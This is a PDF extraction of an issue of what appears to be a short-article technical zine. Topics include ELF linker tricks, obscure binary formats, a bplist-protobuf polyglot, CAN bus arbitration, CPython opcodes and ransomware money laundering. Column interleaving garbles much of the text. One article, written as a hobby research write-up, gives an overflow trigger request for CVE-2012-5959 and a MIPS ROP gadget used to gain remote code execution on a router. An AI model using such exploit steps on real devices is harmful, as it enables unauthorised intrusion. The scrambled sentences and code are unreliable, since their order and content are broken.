ELF files are complex beasts: they come with an loads the binary and ld.so into the process ad-
ELF header which points to both the section head- dress space, and then jumps to the entrypoint not
ers and the program headers (phdrs). The former of the executable, but of ld.so. The latter then does
is only used during ‘compile-time’ linking, while all its loading magic, before jumping to the entry-
phdrs contain all information for the runtime. point of the actual program. This last bit of code
To discover the external functions imported by (RTLD START in sysdeps/x86 64/dl-machine.h)
a dynamically linked binary1 , the runtime linker actually leaves a pointer to the link map on the
(ld.so) parses the phdrs in search for one marked stack for us to use. We don’t actually have to
PT DYNAMIC, which is the entry for the dynamic ta- bother with phdrs and dynamic tables and r debug!
ble. This table contains a number of type-value Shader code is just ASCII text, so if an intro has a
pairs, including pointers to the symbol table, global lot of it, it might actually be beneficial to have more
offset table (GOT), procedure linkage table (PLT), ASCII strings in the binary and less x86, to make
relocation table, and so on. So, there is a lot of stuff things compress better. This is possible by using
stored in an ELF file, and it’s best to bypass it all. yet another implementation quirk: at the very be-
How? The dynamic table has one ‘non- ginning of the GOT (in .bss, thus never in the file
documented’ entry, DT DEBUG. While my system’s on disk), ld.so always places a pointer to a magic
elf.h include header describes it as “For debug- dl fixup function. This function will automagi-
ging; unspecified”, it is more or less always filled by cally a) resolve a function from an external library,
ld.so with a pointer to an r debug struct (see your b) poke the address of the resolved function into
system’s link.h file). This is the case on Linux, the GOT, and c) call the function. We can use this
many if not all BSDs, etc., and is probably an ‘un- to obtain dlsym, and using that, any other symbol,
official’ part of the SysV ABI. This weird detail is using basically no code nor on-disk ELF headers.
used by debuggers to figure out how dynamic li- If you want to try smol, go to
braries are linked together at runtime. e.g. https://gitlab.com/PoroCYon/
What’s special about this r debug struct? Well, linux-4k-intro-template (which provies a
it has a pointer to a very important struct called full example together with compression), and enter
link map, a doubly linked list of all loaded shared the 4k intro compo at a demoparty near you!
libraries2 . Its l ld field lets us search through the
symbol tables of all these libraries in the link map.
This is what another tool, dnload, uses: it man-
ually walks over the symbol tables of all imported
DSOs, and fetches the addresses of all needed ex-
ternal functions by comparing their names with a
stored 32-bit hash. A small assembly stub inside
the program does all these tasks. This works quite
well, see e.g. many intros by Faemiyah. Sadly, this page contains too much information
We can optimize the previous idea of walking to include source code listings and links to further
link map a great deal more, at the cost of mak- information. Instead, all this information is col-
1 We need dynamic linking because the GPU drivers
lected at https://gist.github.com/PoroCYon/
(Mesa) largely live in userspace, not in the kernel. e3bb296ea1b1800fb813bfb38933df0b or https:
2 Fun fact! dlopen also just returns a link map. //pcy.be/smol-extref.html.

@[email protected] PoroCYon
https://github.com/PoroCYon
14 https://gitlab.com/PoroCYon CC BY-SA 4.0
A couple of obscure executable formats File Formats

.article​ ​“A couple of obscure executable formats”

[CCDL​ ​; ChinaChip Dynamic Library [TOSB ;


​ TempleOS BIN
magic= ‘CCDL’ jmp= EBh 1Eh
version= 000​1_​000​0h alignment= 1​ byte(s)
unknown​= 000​2_​000​1h signature= ‘TOSB’
num_sections= 6 org= 7FFF_FFFF_FFFF_FFFFh
timestamp= 2009_10_20h ​00​09_37_11h​] patch_table_offset= 0000_0000_000​2_BBBFh
; used by ChinaChip’s customized version file_size= 0000_0000_000​2_F500h​]
of μC/OS II, found about 10 years ago in ; used for ahead-of-time compiled code in
PMPs coming out of East Asia, including Terry A. Davis’ ​TempleOS
Dingoo A320, Gemei A330, Onda​ and J ​ XD ; simple structure -- no sections
; however, supports relocations as well as
[SECTION ​‘IMPT’​ type=​IMPORT_TABLE import/export of variables in addition to
offset=​000000​E0h​ size=​0000​519Ch​] functions

; the OS builds the 8-byte thunk [MACHINE CODE]


LDR pc, =OSMalloc​ ​at address 10193488h ; Not specially delimited within the file
IMPORT ​10193488h ​OSMalloc ; Instead, the entire binary -- stripped
IMPORT ​10193490h ​OSFree only of the header above -- is loaded into
IMPORT ​10193498h ​fsys_fopen memory in one go.
... ; The only supported architecture is ​x86-64​.
...
[SECTION ​‘EXPT’​ type=​EXPORT_TABLE
offset=​0000​5280h​ size=​000000​28h​] [PATCH TABLE]
; The format supports both executables ; The patch table handles code relocations,
and libraries. The only difference is that as well as imports and exports
executables export a function named ​AppMain ; First, an instance of a simple relocation:
EXPORT ​101000B4h ​AppMain ENTRY type=​IET_ABS_ADDR
; The format’s usefulness for dynamically at ​02
​ B701h ​0​2B6FBh ​0​2B66Eh ​02 ​ B637h​...
loaded libraries is however diminished by ; symbols (functions, but also variables)
the lack of relocation support are usually exported by address relative to
image start
[SECTION ​‘RAWD’​ type=​PROGRAM_CODE
ENTRY type=​IET_REL32_EXPORT s ​ ym=​LexPutPos
offset= ​0000​52B0h
at ​00​2332h
size= ​000​DF1B4h
; a ​main ​function can be also exported
alloc_size= ​000​E9AE0h​ ​; including bss
ENTRY type=​IET_MAIN
; the code is loaded at a fixed address at ​01​ 5267h
load_address= ​10100000h ; the following import type is used with
entry_point= ​10100150h​] CALL ​and ​JMP i ​ nstructions with 32-bit
; the entry point is a function whose job relative destinations
is to initialize global variables ENTRY type=​IET_REL_I32 ​sym=​_MALLOC
at ​01 ​ 8498h ​0​173B8h ​0​173ACh ​01 ​ 7142h​...
[SECTION ​‘ERPT’​ type=​RESOURCES​] ; but we can also import the absolute
; An executable can also contain named address
resources -- basically, embedded files. ; code is only allowed to be loaded in the
; There is no hierarchy, but the names can lower 2 GB of address space, so 32 bits
contain slashes to denote subdirectories. shall be enough
ENTRY ​“audio\7DaysPiano03.sau” ENTRY type=​IET_IMM_U32 ​sym=​SYS_RUN_LEVEL
size=​942289​ offset=​00​1BC014h at ​00​5280h 0 ​ 0​255Dh 0
​ 0​24F1h
ENTRY ​“audio\7Days_Piano01.sau” ...
size=​330606​ offset=​00​2A20E5h
... .see_also
https://github.com/minexew/Gemei-RE
; other sections may follow, e.g. “ICON” https://github.com/cia-foundation/bininfo

minexew
SAA-TIP 0.0.7 15
EW
N E
RELE AS o n 4 . 0
Ve r s i

WELCOME PAGED OUT READERS!


We’re pleased to announce Binary Ninja 4.0 is now available.
It’s loaded with new features including:

Sidekick - a new, AI-powered extension that makes reverse


engineering easy
A free version for evaluation and non-commercial purposes
New decompilers for RISC-V and NanoMIPS
Support for collecting related analysis databases into Projects
A new way to share and sync type information with Type Archives
A complete UI Refresh that makes your work more efficient

Check out the full list of features online!


https://binary.ninja/pagedout4/
BPPB: A bplist-protobuf polyglot recipe File Formats

BPPB: A bplist-protobuf polyglot recipe


https://github.com/theXappy/bppb

The Coincidence So, our first restriction is that another field’s header must
Commonly, formats are told apart by some magic value. come after these 114 bytes. Then another one after that field
Apple’s bplist format’s magic is bplistXX (XX are 2 digits, and so on, until we reach the end of the file.
usually 00) at the beginning of the file/blob. A LengthValue may contain a byte array or a protobuf payload.
Google’s protobuf does not have a magic. It’s a TLV format, We’ll use these facts in the “root” protobuf construction to
where fields are just encoded one after the other. consume arbitrary blobs that the bplist format forces on us.
Fields in protobuf have a header of 1 or 2 bytes, containing a We’d also use a LengthValue to embed our “real” protobuf
Tag and possibly a Length. Apparently, the first characters of payload.
bplist00 can be decoded as a protobuf field header:
Putting It All Together
• b is read as a protobuf Tag: To sum up our restrictions:
field_number = 0b01100 , wire_type = 0b010 1. The file MUST start with bplist00 .
This means “A LengthValue field with the ID of 12”. 2. The file MUST end with a valid 32-bytes bplist trailer.
Protobuf’s LengthValue wire type is used to store byte 3. The file MUST be a parsable sequence of TLV protobuf
arrays, strings, or sub objects. fields.
• p is read as the varint Length of the LengthValue. 4. The first protobuf field WILL be a 112 bytes LengthValue
p is 0x70 in ASCII, so the length is simply 0x70 = 112. with ID of 12. The second field WILL start at offset 114.
• The rest of the magic plus the next 106 bytes are read as Taking those into account, I introduce this strategy:
the 112 bytes of data. 1. Separately encode a bplist and a protobuf.
2. Shift bplist objects forward, starting at offset 114, to
create a hole of unreferenced bytes. We might start
shifting before 114 if we hit the middle of an object.
3. Write the payload protobuf into the hole, adding a
LengthValue header for it.
The beginning of a bplist file, parsed as a protobuf.
4. After the protobuf payload but still inside the hole, write a
Next, let’s specify the rules of each format so we can 3rd LengthValue header to capture the rest of the bplist
synthesize the rest of the polyglot. (shifted objects, offsets table, and trailer).
Bplist Restrictions This table summarizes the resulting artifact. Assume bplist_x
bplist blobs have the following structure: and protobuf_y are the two blobs we’re trying to merge.
Bytes range Bplist Protobuf interpretation
Magic (8 bytes) interpretation
Objects section 0 ‐ 114 Magic + [2 bytes]
Offsets Table section Several objects. Header of field 12, with
type LengthValue.
Trailer (32 bytes)
[112 bytes]
Notice that there’s no header beyond the magic. Parsers Data of field 12. The
content is irrelevant.
should jump to the trailer where parsing instructions are
114 Unreferenced [2 bytes]
found. ‐ data. Header of field 1, with type
Usually parsing goes like this: 114 + protobuf_y.len LengthValue.
+4
1. Assert magic is in place. [protobuf_y.len bytes]
2. Parse trailer. Data of field 1. The content
3. Parse the offsets table (maps object indexes to offset is protobuf_y.

within the file). [2 bytes]


4. Parse the tree of objects, starting at the root object. It is Header of field 2, with type
LengthValue.
usually a dictionary or a list.
114 + protobuf_y.len Several objects + [All remaining bytes]
We parse its descendants recursively by decoding child +4 Offsets Table + Data of field 2. The content
objects’ indexes and looking them up in the Offsets Table. ‐ 32 bytes of is irrelevant.
bplist_x.len trailer.
Since positions of the objects are read from the Offsets Table,
Edge Case: Unorthodox Bplist Parsers
if we keep the table updated, every object can be moved
anywhere we want within the file. Some bplist parsers assume objects are encoded back-to-back
Note that it’s valid, or at least not strictly forbidden, to leave and parse them without reading the offsets table. If such a
unreferenced bytes between the objects. Anything not parser attempts to parse our polyglot, it’ll likely run into an
pointed to is assumed not to be read by parsers. undecodable “object” when parsing the protobuf data in the
hole. To adjust our strategy for such parsers, we can make the
Protobuf Restrictions hole larger and prepend a ‘data’ object header to it. That’ll
Protobuf is a TLV format. We need to keep its “root” level of consume all the protobuf bytes inside it into a valid object.
fields valid. We know the bplist magic already dictates the first
protobuf field: a LengthValue with ID of 12 and Length of 112.

Shai Shapira
https://twitter.com/theXappy
SAA-TIP 0.0.7 17
Art Headed back

Instagram: @killerrabbitmedia Killer Rabbit


Reddit: u/Killerrabbitmedia
18 YouTube: @killerrabbitmedia SAA-TIP 0.0.7
How collisions are avoided in a multi-master CAN bus? Hardware

How collisions are avoided


The electrical configuration differs in real setups (two CAN lines,
different voltages, transistors instead of switches), but the logic of
dominant-recessive states remains the same.

in a multi-master CAN bus? However, working in a multi-master, asynchronous mode is


challenging per the question: who’s gonna transmit at a particular
point of time when there’s no master arbiter?
CAN bus is a communication line used in modern vehicles. It’s an Well, there is some arbitration, made by the nodes themselves.
interesting protocol, since it works in a multi-master asynchronous There are some rules on the bus:
mode. Even if there is a device that works functionally as a master 1) If no one transmits, any node can transmit
(i.e. Body Computer), it does not regulate the data flow on bus in any 2) If anyone transmits a frame, the rest of the nodes must wait
way. You can imagine the bus as a table where friends talk –
everyone can say anything on an equal footing. But… what if two nodes start transmitting their frames at the exact
same time? That would make a race condition, wouldn’t it?
Well, the important thing to say is that every frame has it’s ID
number, transmitted in the ID section, right after the frame starts
(after the first bit, which is always dominant). IDs are related to the
type of message, and belong only to one node – their owner.
The lower the ID number is, the bigger priority it has.

For example: the message driving the airbags would have a higher
Physically, the can bus is just a pair of wires to which every node (in priority than the turning light state.
automotive called Electronic Control Unit) is directly connected. To Now let me remind you something obvious: If we take any two
better understand it, you can imagine the bus as a single wire which numbers and write them in a binary format of same width, reading
is by default pulled up to some voltage level (high state which is them from left to right (MSB to LSB), we will always come to the
called recessive), and any node acts like an electric switch, that can difference between them: position, where the lower number has
short it down to GND (zero-level) state, which is called dominant. zero and the bigger number has one.
Take a look at this scheme, which is not how it actually works, but
helps to understand the principles:

Let’s use those numbers 201 and 205 for the IDs of two CAN frames,
that was started at the exact same point of time by two nodes.

Circuit simulated on https://www.falstad.com/circuit/

At this point, I hope it’s clear that: At some point, nodes come to the moment when one is transmitting
• If no node is setting a dominant state, the bus remains in a 0 and the other one is transmitting 1.
recessive state 0 is the dominant state, and that state is present on the bus.
• If one or more nodes set a dominant state, the bus remains in a Now here we come to the last rule of can bus arbitration:
dominant state A Node, beside of transmitting its states, also checks the real
When any node sends a message to the bus, it is being done by voltage level on the bus. If the bus state differs from what the
alternately setting the bus to the dominant level and releasing it at a Node is transmitting, it immediately aborts ongoing transmission
specific bitrate. The voltage waveform creates a shape, which is later and waits for another time slot.
interpreted as a communication frame. Frames consists of segments If you think about this, it can occur only when the state transmitted
(i.e. first single bit is a StartOfFrame, next 11 bits are ID, later comes by node is recessive, and the bus is in a dominant state.
Payload etc.). In the given example, at some point, node transmitting the Frame2
loses the arbitration, and stops its frame transmission, waiting for
next time slot. The other node (let’s call it arbitration-winner)
continues sending its message, not even “knowing” that any other
node tried to transmit parallelly.
This is why the ID section in the CAN frame is commonly named as an
“arbitration field”, and makes it possible to avoid collisions/race
conditions, and priorities the messages between each other.
Please also note that the nodes themselves do not have any
Physically, communication frame on a bus is a voltage waveform importance, and can only own messages, that are of different levels
– in fact, it is much longer than presented here of importance.

Wojciech Kochański
https://www.SystemyWbudowane.pl
SAA-ALL 0.0.7 https://www.youtube.com/@SystemyWbudowane 19
Hardware You Wouldn't Gamble on a Router

Or would you? It is at the focal point of the LAN, making it the perfect candidate
for a LAN-gambling-party Blackjack host. Note: Gamble responsibly! ___ __ __ _ __
/ _ ) / /__ _____/ /__ (_) __ _____/ /__
/ _ / / _ ‘/ __/ ’_/ / / _ ‘/ __/ ’_/
Target Router XOR Decoder /____/_/\_ ,_/\__/_/\_\_/ /\_ ,_/\__/_/\_\
|___/
This project started as a general MIPS binaries tend to contain lots of Welcome player 1!
Enter player count ( including yourself )
RE/VR project, focusing on bugs over zeros. Because of the string-based na- > 3
the LAN. Aliexpress always has cheap ture of our overflow, zeros are a no-go Waiting for 2 other players to join ...
embedded goodies with questionable se- as they terminate the string early. Our Game starting !

curity. Sorting the search results for write ROP gadget simply stores the con- As it stands :
‘router ’ by ‘lowest price first’, I ended tents of $s0 at the address in $s1, both - Player 1 has $250
- Player 2 has $250
up with this masterpiece for £11 (flames taken directly from the buffer we send - - Player 3 has $250

not included). so the payload can’t contain zeros. Place your bet player 1...
> 10
Our payload should be small, placing a Player 1 has bet $10
simple XOR decoder at the start should Player 2 is placing their bet
suffice. This runs before the payload, Player 2 has bet $10

iterating over the rest of the payload Player 3 is placing their bet
and XOR’ing. We then wait to let the Player 3 has bet $10

caches naturally flush (thanks MIPS), Player 1 cards :


_______ _______
and jump to the decoded payload. |Q _ _ | |J ^ |
| ( v ) | | / \ |
Shellcode Location | \ / | | \ / |
| . | | . |
In eCos, each thread gets its own mem- |______ Q | |______ J |

ory area for its stack. The size of this re- Player 2 cards :

Under the hood, it has a Mediatek gion for the HTTP proc thread is 16384 _______
|7 ^
_______
| |3 _ _ |
MT7628KN chip (MIPS architecture), bytes, and during normal operation this | / \ | | ( v ) |
| \ / | | \ / |
a labelled UART, and an SPI EEP- hovers around 40% utilisation. We can | . | | . |

ROM memory chip. The command borrow a chunk of this stack region for |______7| |______3|

line on the UART allowed extraction of our Blackjack payload. Player 3 cards :
_______ _______
the firmware from the EEPROM. Then, Building Blackjack |10 ^ | |A _ _ |
| / \ | | ( v ) |
basefind2 was used to work out the base To get our server running, we have two | \ / | | \ / |
| . | | . |
address, and it was loaded into Ghidra options: create a new thread or hijack |_____10| |______ A |
(no symbols). Its underlying OS is eCos, an existing one. The thread named cpu- Player 3 has blackjack !
and it’s built around an old Realtek load, which can only be activated via the Dealers card :
SDK. shell, is perfect for this. We can hijack _______
|K . |
Finding CVE-2012-5959 this thread by invoking the create thread | /.\ |

By auditing strcpy() calls, I spotted a function with identical addresses, substi- | (_._) |
| | |

simple stack-based buffer overflow in tuting our blackjack server as the thread |______ K |

the SSDP parser in the UPnP library. function. As the cpuload thread is al- Player 1 ’ s move , current hand :
_______ _______
It turns out the ancient SDK uses a ways suspended, the router carries on |Q _ _ | |J ^ |

version of libupnp vulnerable to an old as normal. | ( v ) | | / \ |


| \ / | | \ / |

CVE! To trigger a crash, send: For the socket functionality, we must | . | | . |


|______ Q | |______ J |
reverse engineer the firmware and ex-
M - SEARCH * HTTP /1.1
tract the address of anything we need Stick or twist ?
> s
HOST : 2 3 9 . 2 5 5 . 2 5 5 . 2 5 0 : 1 9 0 0 (listen(), recv(), bind(), etc). These ad- Player 1 chose to stick
MAN :" ssdp : discover " dresses can then be hard-coded in our Player 1 final score : 20
MX :3 payload, and used in our C code as func- Player 2 ’ s move , current hand :
ST : uuid : AAAAAAAAAAAA .. AAAAAAAAAAAAA
tions. Most of the server goes together _______
|7 ^
_______
| |3 _ _ |
like a standard UDP server example, | / \ | | ( v ) |
| \ / | | \ / |
As the router has no mitigations (like plus some extra logic for the game and | . | | . |
the good ol’ days), this bug enables player management. |______7| |______3|

unauthenticated RCE over the LAN. Compiling BlackJack


Player 2 chose to twist , current hand :
_______ _______ _______
Brainstorming Exploit Our C program must run on MIPS, de- |7 ^ | |3 _ _ | |8 .
| / \ | | ( v ) | | /.\ |
|

At the moment, we overwrite the re- spite being compiled on an x86 proces- | \ / | | \ / | | (_._) |
| . | | . | | | |
turn address with garbage that is not sor, so we’ll need to cross-compile. For |______7| |______3| |______8|
mapped into memory, we need to jump this, I used crosstools-ng to construct Player 2 chose to stick
somewhere useful. We could put a shell- a toolchain, allowing me to compile Player 2 final score : 18

code in our uuid buffer and jump to C on x86 into a MIPS binary. The All players done ...

that - but it’s definitely not big enough payload location is set in the linker file The dealer ’ s full hand is :
for a Blackjack server. we give to the compiler, so the code _______
|K .
_______
| |3 . |
Alternatively, we can use ROP (Return- knows where it is. Note: There are | /.\ | | /.\ |
| (_._) | | (_._) |
Oriented-Programming) gadget(s) to also pre-built eCos toolchains available | | | | | |
construct a larger shellcode in memory at https://ecos.sourceware.org/build- |______ K | |______3|

via multiple requests. Using the follow- toolchain.html. Dealer is twisting

ing gadget, we can write four bytes wher- LAN-Gambling Dealer ’ s current hand :
_______ _______ _______
ever we please (provided it is mapped): With our payload put together, it ends |K . | |3 . | |A . |
| /.\ | | /.\ | | /.\ |
up being around 6000 bytes, so it fits | (_._) | | (_._) | | (_._) |
0 x 8013 be 14: | | | | | | | | |
sw $ s 0 , ($ s 1) ; lw $ ra , 0 xc ($ sp ) ; perfectly into the empty stack space |______ K | |______3| |______ A |

move $ v 0 , $ s 0; lw $ s 2 , 8($ sp ) ; mentioned earlier. Now, we can send Dealer is twisting


lw $ s 1 , 4($ sp ) ; lw $ s 0 , ($ sp ) ; multiple requests to construct the com- Dealer ’ s current hand :
jr $ ra ; addiu $ sp , $ sp , 0 x 10; piled Blackjack server into memory. _______ _______ _______ _______
|K . | |3 . | |A . | |J _ _ |
Once complete, we can jump to this | /.\ | | /.\ | | /.\ | | ( v ) |
The gadget increments the stack pointer memory, decode the payload, wait for | (_._) | | (_._) | | (_._) |
| | | | | | | | |
| \ / |
| . |
by 0x10 bytes. To avoid a crash, we set caches to flush, then jump to the de- |______ K | |______3| |______ A | |______ J |

the return address after the gadget runs coded payload which hijacks the cpuload Dealer is bust !
to the address of the stack frame two thread and runs the server function. You won $10!
frames up (each frame is 8 bytes). So, Once the thread is running, players can
we can now build our larger shellcode connect to the server with netcat - once
in memory via multiple requests. all players are in, the game can begin!

Luke M
https://github.com/lr-m
20 SAA-TIP 0.0.7
What ransomware groups are doing with stolen money? History

What are ransomware groups doing with stolen money?


The rise of cryptocurrencies opened new doors for cybercriminals. Cryptocurrencies were designed to give the power over the
money to the people as they are based on a decentralized network where no central authority controls them, provide a high
level of anonymity, and it is much easier to move them across the border using e.g. cold wallets (hardware wallets). This is
something that heavily attracts cybercriminals as well as the idea to obscure transactions and make them more difficult to track
by law enforcement. With the growing cryptocurrency market, we’ve also seen an increased number of ransom payments
received from attacked companies. Bitcoin is called the currency of the Dark Web as it’s the crypto most often used
by cybercriminals these days, especially in the Darknet market and ransomware.

But what does Dark Web actually mean? Dark Web is a service running over the Onion protocol which runs over the Tor
network. It’s a hidden part of the Internet that provides a high level of anonymity and privacy that may be used for good and bad
reasons. The good one is e.g. escape from a country's censorship and the bad one is the already described market where
criminals are selling and buying illegal services and products.

2024 Crypto Crime Trends: Illicit Activity Down as Scamming and Stolen Funds Fall, But Ransomware and Darknet Markets See Growth
JANUARY 18, 2024 | BY CHAINALYSIS TEAM | Link: https://www.chainalysis.com/blog/2024-crypto-crime-report-introduction/

What is happening with stolen money?

Dark Web: Crypto may be used to pay for products and services available on the Darknet market. The most often used
cryptocurrencies there are Bitcoin and altcoins, especially privacy cryptocurrencies like Monero or Zcash. Privacy coins are
designed to obfuscate transaction details using techniques such as e.g. ring signatures, stealth addresses in Monero, or
Zero-Knowledge Succinct Non-Interactive Arguments of Knowledge in Zcash. They are also using a private blockchain, not a
public one that Bitcoin uses.
Crypto exchanges: Sometimes, they use exchanges to swap cryptocurrencies to fiats, e.g. USD. They use exchanges without a
KYC process if possible, or use fake documents to pass the KYC process on exchanges that require it. However, this is a risky
approach as exchanges have access to other valuable information about the user such as the bank account where fiats were
transferred or IP address that may be helpful in further investigation.
Peer-to-peer transaction: This is an alternative way to exchange. Cybercriminals may use peer-to-peer transactions to move
stolen funds from one crypto wallet to another individual wallet without any intermediaries. They can also buy cars and other
exclusive resources directly with Bitcoin. An additional way to hide funds is a mixer which splits funds into several separate
crypto wallets.

Katarzyna Brzozowska
https://www.linkedin.com/in/katarinabrzozowska/
SAA-ALL 0.0.7 21
Programming 5 Little Programming Tricks

5 Little Programming Tricks


(from the archaic to the outright silly)
The cost of software maintenance increases with the square of the programmer's creativity.
First Law of Programmer Creativity,
Robert D. Bliss1
1. Sleep Sort #!/bin/bash
Allegedly, Sleep Sort was originally proposed on 4chan. Presumably more with the intention function f() {
of trolling the programming community than of solving any practical problems. sleep "$1"
Still, the idea behind the algorithm is rather ingenious: echo "$1"
- create a separate process or thread for each element to be sorted }
- have each process sleep for a time proportionate to the input value while [ -n "$1" ]
- collect the return values in sorted order as the processes exit do
While fairly useless as a sorting algorithm due to its inefficiency and the constraints regarding f "$1" &
valid input, one area where Sleep Sort actually might be useful is as a teaching tool for shift
explaining concurrency and parallelism similar to how Bubble Sort is commonly used in done
teaching sorting algorithms. wait

2. Duff's Device Listing 1: Sleep Sort


send(to, from, count) 2
Described in the Jargon File as "The most dramatic use yet seen of fall
register short *to, *from; through in C"3, Duff's Device makes creative use of C's syntax by
register count; interleaving a do-while loop and a switch statement to manually unroll a
{ loop.
register n = (count + 7) / 8; These days, unrolling loops manually is highly discouraged since it is almost
switch (count % 8) { guaranteed to be counterproductive as it might break optimization strategies
case 0: do { *to = *from++; of modern compilers and lead to bigger code size and increased cache
case 7: *to = *from++; misses.
case 6: *to = *from++; 3. C99 Compound Literals
case 5: *to = *from++;
If you have done any amount of socket programming in C, you are probably
case 4: *to = *from++;
familiar with the following construct.
case 3: *to = *from++;
case 2: *to = *from++; int one = 1;
case 1: *to = *from++; setsockopt(s, SOL_TCP, TCP_NODELAY, &one, sizeof(one));
} while (--n > 0); C99 Compound Literals let us construct unnamed objects in-place to get rid
} of that annoying single-use variable.
} setsockopt(s, SOL_TCP, TCP_NODELAY,
(int[]){1}, sizeof(int));
Listing 2: Duff's Device3
Another common use is construction of structs in place in a function call.
foo((bar_struct_t){1, 2.0f, 'c'});
3. HAKMEM ITEM 154
The myth that any given programming language is machine independent is
easily exploded by computing the sum of powers of 2.
If the result loops with period = 1 with sign +,
you are on a sign-magnitude machine.
If the result loops with period = 1 at -1,
you are on a twos-complement machine.
If the result loops with period > 1, including the beginning,
you are on a ones-complement machine.
If the result loops with period > 1, not including the beginning,
your machine isn't binary - the pattern should tell you the base.
If you run out of memory, you are on a string or Bignum system.
If arithmetic overflow is a fatal error, some fascist pig with a read-only mind
is trying to enforce machine independence. But the very ability to trap
overflow is machine dependent.
By this strategy, consider the universe, or, more precisely, algebra:
let X = the sum of many powers of two = ...111111
now add X to itself; X + X = ...111110
thus, 2X = X - 1 so X = -1
therefore algebra is run on a machine(the universe)which is twos-complement.
(Gosper, R.W., HAKMEM, MIT Artificial Intelligence Laboratory, 1972)4
5. The Story of Mel
And finally, no list of programming tricks would be complete without mentioning The Story of Mel5; an "archetypical
piece of computer programming folklore"6. If you have not read it before, I encourage you to check it out in The Jargon
File2.
1 4
Warren, Henry S., Jr. Hacker's Delight. 3rd ed., Addison-Wesley, 2013 https://dspace.mit.edu/handle/1721.1/6086
2 5
http://www.catb.org/~esr/jargon/html/index.html https://www.catb.org/~esr/jargon/html/story-of-mel.html
3 6
http://www.catb.org/~esr/jargon/html/D/Duffs-device.html https://en.wikipedia.org/wiki/The_Story_of_Mel

tick
https://www.t1ck.de
22 SAA-ALL 0.0.7
Past Tense Art
GodLike
https://X.com/godlikepx
SAA-ALL 0.0.7 https://Instagram.com/godlikepx 23
Apparently I didn't understand cPython's INPLACE_ADD and then someone stole it!
Programming

At the end of 2023, I found myself playing the 37C3 Potluck CTF with my team – Dragon Sector. There was a Python
bytecode challenge called "GACHAAAAAtkr" made by quasar from Project Sekai!, and, as I'm a Python bytecode
enthusiast, I decided to solve it. I did just that by implementing a minimal Python bytecode-level VM that
piggybacked on the real cPython runtime (because I couldn't pinpoint the exact cPython version needed, but shhhh).
However this isn't a write-up for that challenge, but rather an article on what I found out when solving it. And
I found out two things:
1. Someone stole my INPLACE_ADD opcode (and the rest of the INPLACE_* ones as well)!
2. Apparently I don't understand how the INPLACE_* opcodes work.
Let's start with the latter, and some context: what's INPLACE_ADD and how does it differ from BINARY_ADD?
As you can see on the right, def add1337binary(): def add1337inplace():
on the bytecode level, there g = g + 1337 (cP g += 1337
yt
seems to be no difference – ho
n
3.
which in all honesty surprised 0 LOAD_FAST 0 (g) 7
by 0 LOAD_FAST 0 (g)
2 LOAD_CONST 1 (1337) te 2 LOAD_CONST 1 (1337)
me! What I mean is that I did co
de
expect the BINARY_ADD to get 4 BINARY_ADD ) 4 INPLACE_ADD
two values from the stack, add 6 STORE_FAST 0 (g) 6 STORE_FAST 0 (g)
them, push the result back on the stack, and then pop the result from the stack to store it somewhere
(STORE_FAST(g)). What I did not expect is INPLACE_ADD behaving the exact same way!
(based on dis module documentation) (based on my flawed in-brain model) (based on dis module documentation)
# BINARY_ADD pseudocode. # Wrong INPLACE_ADD(arg) pseudocode. # Actual INPLACE_ADD
right ← pop() # I.e., what I expected. pseudocode.
left ← pop() right ← pop() right ← pop()
push(left + right) left ← get_name_value(co_names[arg]) left ← pop()
tmp ← left + right push(left + right)
set_name_value(co_names[arg], tmp)
What I expected is that the INPLACE_ADD would work, well, in place. It would get the value of the right hand side,
and the name of the "variable" on the left hand side, so that, if needed, it could replace the object the name refers to,
once the addition is done. If that would be the case, however, the STORE_FAST(g) instruction shown in both listings
wouldn't be needed as it would be incorporated into INPLACE_ADD.
Wait, isn't it obvious that that's not the case, as INPLACE_ADD doesn't take an argument (customarily a name, or rather its index in the co_names
tuple, is passed as an opcode argument) and uses STORE_FAST(g)? Well, the reason I made this harder for myself is that during the CTF and VM
opcode implementation I displayed only the problematic opcodes in the error log, so I didn't see the STORE_FAST(g). As for the lack of argument, I
assumed there's some magical mechanism that keeps tabs on which name's value is on the stack for the left hand side, and initially I implemented it
using such a magical mechanism; of course now I know there is no such a magical mechanism there.
So, why do we have two opcodes – BINARY_ADD and INPLACE_ADD – if there's no difference in the pseudocode?
There's one good reason, but it's just not visible in the pseudocode, nor mentioned in dis module documentation.
And that's whether – respectively – __add__(a, b) or __iadd__(a, b) method is called in the case of objects with
overloaded operators [3]! Yup, that's it.
But if INPLACE_* opcodes are needed, why were they removed?
Well... actually this is another $ docker run -it python:3.10
thing I misunderstood. But it's >>> [x for x in list(__import__("opcode").opmap.keys()) if 'INPLACE' in x]
not that INPLACE_* opcodes [... 'INPLACE_ADD', 'INPLACE_SUBTRACT', 'INPLACE_MULTIPLY', ...]
weren't removed – they were.
$ docker run -it python:3.11
It's just that the BINARY_*
>>> [x for x in list(opcode.opmap.keys()) if 'INPLACE' in x]
opcodes were removed as [] 0 +
well! Or rather not removed – 1 &
2 //
just, per Python 3.11 changelog – "replaced [...] with a single opcode" [1].
3 <<
So, what's the reason for that? According to the discussion between Mark Shannon and Guido van Rossum 4 @
[2], it was to remove a lot of duplicate code, reduce the size of the interpreter loop (which makes it more 5 *
friendly for CPU-level code cache), save on opcode space, but also "to specialize binary operations without an 6 %
7 |
explosion in the number of instructions". Neat! 8 **
The new BINARY_OP opcode takes the actual operation as the argument (called "op" in this case), but 9 >>
otherwise works the same way as the replaced BINARY_* and INPLACE_* opcodes worked. Isn't 10 -
11 /
programming fascinating? ;)
12 ^
10 00 BINARY_MATRIX_MULTIPLY 11 00 INPLACE_MATRIX_MULTIPLY
13 +=
13 00 BINARY_POWER # Pseudocode from dis 1c 00 INPLACE_FLOOR_DIVIDE 14 &=
14 00 BINARY_MULTIPLY # module documentation: 1d 00 INPLACE_TRUE_DIVIDE
rhs = STACK.pop() 15 //=
16 00 BINARY_MODULO lhs = STACK.pop() 37 00 INPLACE_ADD 16 <<=
17 00 BINARY_ADD STACK.append(lhs op rhs) 38 00 INPLACE_SUBTRACT 17 @=
18 00 BINARY_SUBTRACT 39 00 INPLACE_MULTIPLY 18 *=
1a 00 BINARY_FLOOR_DIVIDE
7a op 3b 00 INPLACE_MODULO
19 %=
1b 00 BINARY_TRUE_DIVIDE BINARY_OP(op) 43 00 INPLACE_POWER
20 |=
21 **=
3e 00 BINARY_LSHIFT List of all operations 4b 00 INPLACE_LSHIFT 22 >>=
3f 00 BINARY_RSHIFT is available in 4c 00 INPLACE_RSHIFT 23 -=
40 00 BINARY_AND opcode._nb_ops: 4d 00 INPLACE_AND 24 /=
[('NB_ADD', '+'), 25 ^=
